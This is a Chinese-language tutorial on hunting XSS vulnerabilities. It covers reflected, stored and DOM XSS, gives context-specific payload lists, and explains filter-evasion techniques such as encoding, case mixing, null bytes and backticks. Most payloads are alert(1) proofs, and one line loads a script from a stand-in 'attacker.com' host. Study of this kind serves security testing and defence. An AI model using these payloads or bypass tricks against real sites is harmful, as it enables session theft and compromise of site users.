XSS漏洞挖掘
写在前面
文章内容参考自
https://twosecurity.io/
http://www.4hou.com/web/15212.html
等
文章主体来自https://twosecurity.io/的付费内容,并根据作者的基础进行了一定的增删,希望获取全部内容的读者可以前去支持。
文章的部分内容搬运自不同的博文,由于这篇文章总结梳理时间较长,遗忘了大部分网络资源的地址,如果你发现文章内容搬运自你的博客,请留言联系我。
一、XSS漏洞
常用测试payload
"'><svg/onload=alert(1)//
二、XSS的分类
反射型 XSS 漏洞的挖掘
(反射型XSS测试PAYLAOD)
a: ?name=<h1>amber&age=1
b: ?name=amber&age=<h1>
在网页源码中查找 amber并查看h1
的 <
是否被转义
< >
符号未被转义则将参数转换成svg
payload的进一步构造
若<svg>
存在源码中再添加内联事件执行语句
<svg/onload=alert(1)>
onload
是指在加载该页面时就执行,然后观察是否有弹窗。
存储型 XSS 漏洞的挖掘
存储型XSS简单分类
![](https://img.haomeiwen.com/i8581772/5eae8e59c36e6986.png)
操作步骤
在 burpsuite 的 intercepter 模块下,点击「 Intercepter is off 」按钮开启请求拦截 ——>在网站可输入处写入 XXXXX 的字符串——>查看拦截请求,将XXXXX字符串替换为payload
替换的payload
<a href="javascript:alert(1)">click</a>
Data URI,仅限 Firefox 下可以利用:
<a href="data:text/html,<script>alert(1)</script>">click</a>
JS URI:
<embed src=javascript:alert(1)>
存储型XSS挖掘总结
![](https://img.haomeiwen.com/i8581772/92090d836dac355d.png)
DOM XSS 漏洞的挖掘
与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显,这使我们无法通过特征匹配来检测DOM XSS。
<script>
eval(location.hash.substr(1));
</script>
触发XSS的一种方式如下:
http://www.foo.com/xss.html#alert(1)
这个URL显然不会发送到服务端,仅仅是在客户端被接收并解析执行
页面跳转
页面跳转中常用的三种方式:
1)302跳转
2)Meta标签跳转
3)通过JS跳转,使用location.href、location.replace()、location.assign()。
在页面跳转时,如果使用第三种方式跳转,那么就可以通过javascript伪协议执行JS脚本。
注意前两种跳转方式是无法执行的。
所以在页面跳转时针对跳转URL要做检测,否则就容易造成XSS。
例如:
<script type="text/javascript">
var s=location.search;
s=s.substring(1,s.length);
var url="";
if(s.indexOf("url=")>-1){
var pos=s.indexOf("url=")+4;
url=s.substring(pos,s.length);
location.href = url;
}
</script>
payload:http://192.168.192.120/1.html?url=javascript:alert(1)
取值写入页面或动态执行
接受用户输入,并通过DOM操作写入到当前页面中或者动态执行,也可以触发XSS
<html>
<head>
</head>
<body>
<div id='text'>test</div>
<div id='html'>html</div>
<script>
document.getElementById('html').innerHTML = "<img/src='x' onerror=alert(1)>";
</script>
</body>
</html>
DOM XSS输入点
Location |
当前网页的URL地址 |
window.name |
当前网页 tab 的名字,它被不同的网站赋值,也就是说这个网页为window.name 赋值后再跳转到其它网站,window.name 的值依然不变 |
document.title |
是当前网页的标题,可以在搜索框输入控制它的内容 |
document.referer |
表示来路,表示从哪个网页URL访问过来的 |
postMessage |
是HTML5 的一种跨域机制,但很多时候开发者没有正确的做来源检测,会导致 DOM XSS 的发生 |
location |
它触发 JS 通常是以跳转到 JS URI 的方式执行 |
eval |
是JS 内置的动态JS执行器 |
innerHTML |
能为一个网页元素赋值 |
document.write |
可以输出一个页面流 |
Function |
能通过函数生成一个函数,可以传入动态JS代码 |
setTimeout |
会延时执行JS代码 |
setInterval |
表示循环执行 JS 代码 |
闭合问题
引号,尖括号闭合说明
举例
假设输入框源码:<input type="text" name="2sec" value="[?]">
其中value中的[?]是可输入部分
payload1:
value=" "autofocus/onfocus=alert(1)//">
autofocus:对象在加载完成后自动获得焦点
onfocus:事件在对象获得焦点时发生
第一个引号用于和value中的前一个引号闭合,结尾的//用于注释后面的语句,这样使得xss能被浏览器完整的解析
value=" "autofocus/onfocus=alert(1)//" "
payload2:
value=" "><svg onload=alert("XSS")//">
第一个引号和用于和value中的前一个引号闭合,>用于和input左边的<闭合,<用于和结尾处的>闭合
<input type="text" name="2sec" value=" **"><svg onload=alert("XSS")//"> **
HTML标签下的情况
HTML标签下的XSS是一种最常见的情况,例如:
<!DOCTYPE HTML>
<html>
<head>
<title>HTML Context</title>
</head>
<body>
{{用户输入}}
</body>
</html>
可以使用以下payloads:
<script src=//attacker.com/evil.js></script>
<script>alert(1)</script>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
为了注入JS代码成功,我们需要闭合前面的HTML标签,然后使用<svg onload=alert(1)//
类似payload 就可以成功XSS。
但是有些html标签中不执行js代码,例如:<title>, <textarea >,<xmp>
都需要使用</title><script>alert(1)</script>
先闭合标签,再插入JS代码。
HTML属性下的情况
用户的输入是在HTML 标签的属性当中的时候,怎么来执行JS 代码。会有三种情况:
- 双引号
- 单引号
- 无引号
<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
.....
...
<input type="" name="input" value="{{用户输入}}"> <!-- 双引号 -->
<input type="" name="input" value='{{用户输入}}'> <!-- 单引号 -->
<input type="" name="input" value={{用户输入}}> <!-- 无引号 -->
...
....
</body>
</html>
- 双引号payloads:
"autofocus onfocus="alert(1)
"autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)//
"onmouseover="alert(1)//
"autofocus onblur="alert(1)
- 单引号payloads:
'autofocus onfocus='alert(1)
'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)//
'onmouseover='alert(1)//
'autofocus onblur='alert(1)
- 无引号payloads:
autofocus onfocus=alert(1)//
onbeforescriptexecute=alert(1)//
onmouseover=alert(1)//
- hidden 标签:
1)再onclick时间下,使用accesskey
<!DOCTYPE HTML>
<html>
..
<input type="hidden" value="{{用户输入}}" />
..
</html>
Payload: "accesskey="X" onclick="alert(1)"
,为了触发事件,需要按Alt+X 键。
URL下的情况
使用了加载URL的标签
<script src="{{用户输入}}"></script>
<a href="{{用户输入}}">Click</a>
<iframe src="{{用户输入}}" />
<base href="{{用户输入}}">
<form action={{用户输入}}>
<button>X</button>
<frameset><frame src="{{用户输入}}"></frameset>
Payload: javascript:alert(1)//
Script标签下的情况
用户的输入在<script>
标签中,从而导致的JS代码执行。
<!DOCTYPE HTML>
<html>
..
<script>
var x="{{用户输入}}";
..
...
</script>
..
</html>
Payloads:
";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
<!DOCTYPE HTML>
<html>
..
<script>
var x=123;
function test(){
if(test =='{{用户输入}}'){
//something
}
else
{
//something
}
}
test();
</script>
..
</html>
首先用 test'){//
封闭条件判断的地方,变成:
function test(){
if(test =='test'){//'){
//something
}
else
{
//something
}
}
但是这样只有在调用test()才能执行,所以我们要跳出这个函数输入:test'){1}}//
封闭test()函数:
function test(){
if(test =='test'){1}}//'){
//something
}
else
{
//something
}
}
我们在使用test'){1}};alert(1);function test1(){ if(1){//
把对应的test位置替换下,利用test1 来封闭剩下的函数,但是这样执行会有错误,我们使用ES6的箭头函数来替代function
:
function test(){
if(test =='test'){1}};alert(1);test1=>{ if(1){//'){1}}//'){
//something
}
else
{
//something
}
}
未设置过滤情况下利用script进行闭合
<script>var website="http://www.xxx.com/"</script><script>alert(1)//";</script>
双引号绕过<
过滤
<script>var website="http://www.xxx.com/"-alert(1)//";</script>
-alert(1)/" 中的减号的意思:让 js 语句不发生错误 ('+',在 url 的 uqery 中是空格的编码,而 % 号是表示url编码的标识符,/号在url中是表示一个path,所以用减号最合适。)
使用换行符跳过注释
<script>//var website="http://www.xxx.com/
alert(1)//";</script>
**多行注释绕过 **
<script>/*var website="http://www.xxx.com/ */alert(1)//"; */</script>
利用HTML编码闭合单引号
在 HTML 编码中,单引号对应的有 命名编码:'
、十进制编码:'
、十六进制编码:'
XSS 漏洞挖掘总结
![](https://img.haomeiwen.com/i8581772/27c983794cfb69d8.png)
三、混淆和绕过
基本变形
最简单的测试XSS的payload
<script>alert(1)</script>
如果测试的参数存在XSS,就会弹窗显示1
这个payload肯定会被过过滤,可以对payload进行简单修改,绕过默认的filter。
在script标签钟插入一个空格或者是tab
<script >alert(1)</script>
<script >alert(1)</script>
也可以对tab,换行,回车进行编码来绕过
<script	>alert(1)</script>
<script
>alert(1)</script>
<script
>alert(1)</script>
对标签进行大小写
<ScRipT>alert(1)</sCriPt>
插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
<%00script>alert(1)</script>
<script>al%00ert(1)</script>
事件属性
<input autofocus onfocus=alert(1)>
<input onblur=alert(1) autofocus><input autofocus>
<body onscroll=alert(1)><br><br>...<br><input autofocus>
Reference(十进制Unicode) | Chrome浏览器(对应的空白分隔符) | Edge浏览器(对应的空白分隔符) | IE浏览器(对应的空白分隔符) |
---|---|---|---|
属性中支持反引号 | 不支持 | 不支持 | IE >= 10 docmode: 不支持 IE < 10 docmode: 支持 |
标签名称中的空白分隔符(e.g. []src="javascript:alert(1)">) | 9,10,12,13, 32,47 | 9,10,12,13,32,47 | IE < 10 docmode:9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32,47 |
属性中的空白分隔符 (e.g.<iframe[]src[]= []"javascript:alert(1)">) | 9,10,12,13, 32 | 9,10,12,13,32 | IE < 10 docmode:0 ,9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32 |
JavaScript中的空白分隔符 | 9-13,32, 160,5760, 8192-8202, 8232,8233, 8239,8287, 12288,65279, 65534 | 在附录中能找到Edge所支持的字符 | 9-13,32,160,5760, 6158,8192-8202, 8232,8233,8239, 8287,12288,65279 |
URL中的空白分隔符 (e.g.<iframe src="[]javascript:alert(1)">) | 9,10,13,32 | 9,10,13,32 | 1-7,9,10,11,12,13, 32 |
CSS中的空白分隔符 | 9,10,12,13, 32 | 9,10,12,13,32 | IE < 10 docmode:9, 10,11,12,13,32,160, 8192-8203,12288, 65279 IE >= 10 docmode:9, 10,12,13,32 |
打开Chrome控制台->Console,输入String.fromCharCode(9),即复制到9所对应的字符
分隔符和括号
分隔符是用于分隔文本字符串或者其他数据流的一个或多个字符。在挖xss漏洞时,巧妙的使用分隔符非常有效。在HTML中,我们经常使用空格来分隔属性和它的值。还有的时候,只要使用一个单引号或者双引号作为分隔符就可以绕过filter了,如下:
<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>
对分隔符进行编码也可以用来绕过防御
<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>
反引号也是绕过filter的一种不错的技巧
<img onerror=`alert(1)`src=x>
编码版本如下:
<img onerror=`alert(1)`src=x>
Filter有时候会过滤某些关键词,比如以“on”开头的事件处理器,以此来防御此类xss攻击。
如果我们把属性的位置换到前面,filter无法识别反引号,会将它视为不是以“on”开头的单独的属性,这样也就可以有效绕过filter了,如下:
<img src=`x`onerror=alert(1)>
跟分隔符一样,尖括号也可以利用来绕过filter。在某些情况下,filter仅仅只会查找开始括号和闭合括号,然后将尖括号里面的内容与恶意标签黑名单比较。通过使用多个尖括号,有时候可以骗过filter接受后面的代码。再使用双斜线注释掉后面的闭合标签,所以也不会报错,如下:
<<script>alert(1)//<</script>
还有时候在结束的地方使用开尖括号也有可能绕过filter
<input onsubmit=alert(1)<
标签名分隔符
<img/onerror=alert(1) src=a>
<img[0x09]onerror=alert(1) src=a>
<img[0x0d]onerror=alert(1) src=a>
<img[0x0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
<img/'onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(a) src=a>
(字符引用解析)
Reference | Chrome浏览器 | Edge浏览器 | IE浏览器 |
---|---|---|---|
十进制数字字符引用的最大长度 (e.g.&x00000060;) | 无限 | 无限 | IE >= 9 docmode: 无限IE < 9 docmode: 7;一旦超出限制会被?符代替 |
八进制数字字符引用的最大长度 (e.g. <) | 无限 | 无限 | IE >= 9 docmode: 无限IE < 9 docmode: 6;一旦超出限制会被?符代替 |
HTML5字符实体支持 | 支持 | 支持 | IE >= 10 docmode: 支持IE < 10 docmode: 不支持 |
在某些情况下可以选择忽略分号 (e.g.<p>a</p>, <input value="a">) | 支持 | 支持 | IE >= 9 docmode: 支持IE < 9 docmode: 支持 除了十六进制数字字符引用 |
JS编码
a\u006cert(1);
alert`1`;
location=/javascript:alert%281%29/.source;
HTML编码
<a href="javascsipt:alert(1)">click</a>
备注:CSP策略
在挖掘过程中可能会遇到使用CSP策略禁止网站弹出JavaScript警告窗口的情况。
CSP:Content-Security-Policy(内容安全策略),以白名单的机制对网站加载或执行的资源起作用。通过CSP所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。
四、漏洞利用
![](https://img.haomeiwen.com/i8581772/a7b9fda56bc15eed.png)
HTTPOnly Cookies
HttpOnly属性介绍:
Cookie的HttpOnly属性是Cookie的扩展功能,它使JavaScript脚本无法获得Cookie。其主要目的是为了防止XSS对Cookie的信息窃取。
发送指定HttpOnly属性的Cookie的方法如下:
Set-Cookie: name=value; HttpOnly
通过上述设置,通常从Web页面内还可以对Cookie进行读取操作。但使用JavaScript的doucment.cookie就无法读取附加HttpOnly属性后的Cookie内容了。
利用过程
(以下图片展示了攻击者的XSS漏洞利用流程)
![](https://img.haomeiwen.com/i8581772/057bb74aaec9aec5.png)